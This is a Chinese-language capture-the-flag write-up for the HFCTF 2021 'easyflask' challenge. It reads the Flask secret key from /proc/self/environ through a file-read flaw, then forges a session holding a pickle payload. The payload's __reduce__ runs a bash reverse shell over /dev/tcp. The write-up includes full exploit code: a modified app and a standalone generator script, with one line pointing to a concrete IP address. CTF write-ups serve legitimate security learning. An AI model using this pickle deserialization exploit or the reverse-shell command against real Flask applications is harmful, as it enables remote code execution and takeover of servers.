[HFCTF 2021 Final]easyflask
根据提示访问/file?file=index.js之后再访问/file?file=/app/source得到源码:
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
代码的逻辑很明朗了,/admin 路由存在反序列化漏洞,可以获取 Flask Session 中的某个键的值进行 pickle 反序列化,由于这里被反序列化的值是可控的,所以存在 pickle 反序列化漏洞。但是要利用 pickle 反序列化漏洞我们还需要先获取 secret_key
来伪造 Session。
利用Python任意文件读取
在Python中,os.path.join()
遇到两个都是同级目录的时候,只会返回后一个目录,因此直接读取 /proc/self/environ 目录查看 secret_key:
?file=/proc/self/environ
得到 secret_key:
glzjin22948575858jfjfjufirijidjitg3uiiuuh
伪造session
关注admin 路由:
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
从session中取u字段,u字段是个dict类型,然后取u字段中的b。
根据上面的逻辑,构造pickle反序列化的session:
特别提醒:下述所有操作请在Linux系统上执行!!否则打不通
- 可以在源码上进行修改,然后访问页面读其session
app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
# User = type('User', (object,), {
# 'uname': 'test',
# 'is_admin': 0,
# '__repr__': lambda o: o.uname,
# # '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/81.71.121.131/2333 0>&1'",))
#
# })
class User():
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/vps/2333 0>&1'"
return (os.system,(cmd,))
@app.route('/', methods=('GET',))
def index_handler():
# if not session.get('u'):
# u = pickle.dumps(User())
# session['u'] = u
session['u'] = {'b': b64encode(pickle.dumps(User()))}
return "/file?file=index.js"
然后让问本地的页面复制session到题目的/admin路由中的session里面即可反弹shell。
- 单独一个文件
import pickle
from base64 import b64encode
import os
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())